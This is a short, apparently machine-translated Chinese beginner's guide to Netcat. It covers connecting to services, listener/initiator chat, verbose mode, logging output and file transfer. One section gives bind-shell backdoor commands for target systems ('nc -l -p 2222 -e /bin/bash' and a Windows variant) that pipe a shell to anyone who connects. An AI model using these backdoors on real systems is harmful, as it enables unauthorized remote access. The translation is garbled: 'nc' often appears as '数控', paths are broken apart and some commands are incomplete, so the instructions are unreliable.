Netcat或NC是使用TCP和UDP连接在网络中进行读写的实用工具。它可以用于攻击和安全。在攻击的情况下。它可以帮助我们调试网络并进行投资。它可以在所有操作系统上运行。
Netcat入门
要启动NC,最基本的选项是可以使用help命令。这将向我们展示可与Netcat一起使用的所有选项。 help命令如下:nc -h
连接到服务器
在这里,我们已经连接了IP地址为192.168.1.6的FTP服务器。在运行特定服务的特定端口连接到服务器。在我们的例子中,端口是21,即FTP。
Syntax: nc [Target IP Address] [Target Port]
nc 192.168.17.43 21
闲聊
Netcat也可以用于两个用户之间的聊天。我们需要在聊天之前建立连接。为此,我们将需要两个设备。一个将扮演发起者的角色,一个将成为监听器的人开始对话,因此一旦建立连接,就可以从两端进行通信了。首先,我们将使用Windows 10机器来扮演监听器的角色。我们将使用Kali linux机器,它将扮演启动器的角色。首先,我们必须创建一个侦听器。我们将使用以下命令创建一个侦听器:
数控-lvvp 4444
在哪里,
[-l]:聆听模式
[vv]:详细模式{它可以使用一次,但我们使用两次会更加冗长}
[p]:本地端口
现在,是时候创建启动程序了,为此,我们只提供启动监听程序的系统的IP地址,然后是端口号。
注意:使用同一端口创建在创建侦听器时使用的启动器。
数控192.168.1.35 4444
创建后门
我们还可以使用NC创建后门。要在目标系统上创建后门,我们可以随时返回。攻击Linux系统的命令。
nc -l -p 2222 -e / bin / bash
用于为Windows系统创建后门。
nc -l -p 1337 -e hack.exe
这将在系统上打开一个侦听器,该侦听器会将命令外壳程序或Linux bash外壳程序通过管道传输到连接的系统。
数控192.168.1.35 2222
详细模式
在netcat中,详细模式是可以使用[-v]参数启动的模式。现在,详细模式将生成扩展信息。基本上,我们将使用netcat两次连接到服务器,以查看普通模式和详细模式之间的区别。
命令是nc 192.168.17.43 21 -v
将输出保存到桌面
出于记录维护,更好的可读性和将来参考的目的,我们将保存Netcat的输出。为此,我们将使用Netcat的参数-o将输出保存在文本文件中。
nc 192.168.17.43 21 -v -o /root/Desktop/Result.txt
文件传输
Netcat可用于跨设备传输文件。在这里,我们将创建一个方案,其中将文件从Windows系统传输到Kali Linux系统。要从Windows发送文件,我们将使用以下命令。
nc -v -w 20 -p 8888 -l file.txt
因此,这是netcat的基本指南。这是一个非常有趣的工具,而且非常简单。